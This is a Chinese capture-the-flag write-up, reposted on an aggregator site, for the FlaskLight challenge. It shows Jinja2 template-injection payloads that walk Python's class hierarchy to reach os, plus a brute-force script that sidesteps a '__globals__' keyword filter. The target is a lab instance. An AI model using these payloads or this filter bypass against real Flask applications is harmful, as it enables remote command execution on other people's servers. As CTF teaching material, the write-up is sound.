IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> [CSCCTF 2019 Qual]FlaskLight SSTI注入 -> 正文阅读

[Python知识库][CSCCTF 2019 Qual]FlaskLight SSTI注入

进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 - 知乎?

可以发现在searched后面输出了49,既然我们可以利用{{}},又有输出点,直接模板注入GOGOGO?

python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园因为不太熟,只能一步步来

''.__class__   //先随便查看一个字符所属的类是什么
''.__class__.__mro__   //返回类的基类是什么,找到object这个主类
因为返回的是元组类型的,我们可以用[n]来表示调用哪个类(这里假设object是第三个类)
''.__class__.__mro__[2].__subclasses__() 来查看所有可以引用的子类

?

?

我们知道执行命令的模块是os,那么哪个类里面能调用os模块呢,如果找到了,第几个呢,这个时候我们如果人工一个个去试的话那就很麻烦,利用脚本来查询?__init__.__globals__

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)
    r = requests.get(url)
    if "os" in html.unescape(r.text):
        print(i)

这里构造["__glob"+"als__"]这样的原因是我直接写__globals__会报错,怀疑后端把这个敏感字符给过滤掉了,因此我们需要绕过

可以看到标号这么多的类有os模块,我们随便利用一个就行,就用128吧?

发现一个目录flasklight

?其中一个是源码,一个是flag,我们可以看见源码确实过滤了globals

相信很多人和我一样都是用的system执行命令,但是没有任何回显

python中os.popen, os.system()区别 - ccorz - 博客园

Python中os.system和os.popen区别 - 純黑色 - 博客园

那是因为system调用完shell脚本后,它返回的不是调用脚本的结果,而是一个信号代码,他所出来的结果是在执行的系统上,因此我们如果要用system命令的话,我们反弹shell才能看见(我不会)

popen执行命令返回的是一个读取文件的对象,用read()函数读取就可以获得我们想要的命令结果

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-04-06 16:14:01  更:2022-04-06 16:14:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 18:53:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码